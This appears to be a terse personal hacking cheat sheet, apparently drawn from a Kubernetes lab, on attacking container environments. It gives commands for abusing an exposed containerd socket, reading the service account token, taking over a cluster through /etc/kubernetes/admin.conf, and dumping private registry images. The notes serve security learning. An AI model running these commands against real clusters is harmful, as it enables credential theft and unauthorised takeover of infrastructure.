rootđź’€senseicat:~#
Hack. Eat. Sleep. Repeat!!!
Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham
Exploiting Containerd.sock
- Check
mount-:
- Cntainerd.sock
/custom/containerd/containerd.sock - Exploiting it-:
wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.36.0/crictl-v1.36.0-darwin-amd64.tar.gz
- Creating crictl yaml file-:
runtime-endpoint: unix:///custom/containerd/containerd.sock
image-endpoint: unix:///custom/containerd/containerd.sock
timeout: 10
debug: false
- Bash
crictl -r unix:///custom/containerd/containerd.sock images
- If file read is supported, you can read
file:///var/run/secrets/kubernetes.io/serviceaccount/token
Kubernetes DNS
- DNS specification-:
<pod-IPv4-address>.<namespace>.pod.<cluster-domain>
- Cluster dns-:
<pod-ipv4-address>.<service-name>.<my-namespace>.svc.<cluster-domain.example>
- You can find dns info at
file:///etc/resolv.conf-:
Cluster takeover with /etc/kubernetes/admin.conf
- The Kubernetes node configuration can be found at the default path, which is used by the node level kubelet to talk to the Kubernetes API Server. If you can use this configuration, you gain the same privileges as the Kubernetes node.
./kubectl --kubeconfig /etc/kubernetes/admin.conf get nodes
Hacking docker containers with cap_sys_ptrace and –pid=HOST
Exploiting Kubernetes Private registries
- Attacking Kubes private registries
- CHeck for catalogue-:
curl <url>/v2/_catalog
- Repo getting-:
http://127.0.0.1:1235/v2/_catalog/madhuakula/k8s-goat-users-repo/manifests/latest
- Env-:
Hacking docker registries
- Issue while dumping tar files-:
curl <url>/v2/<image>/manifests/latest -H "Accept: application/vnd.oci.image.manifest.v1+json, application/vnd.docker.distribution.manifest.v2+json" -H "Accept: application/vnd.oci.image.index.v1+json" -H "Accept: application/vnd.oci.image.manifest.v1+json"
- Add those new headers above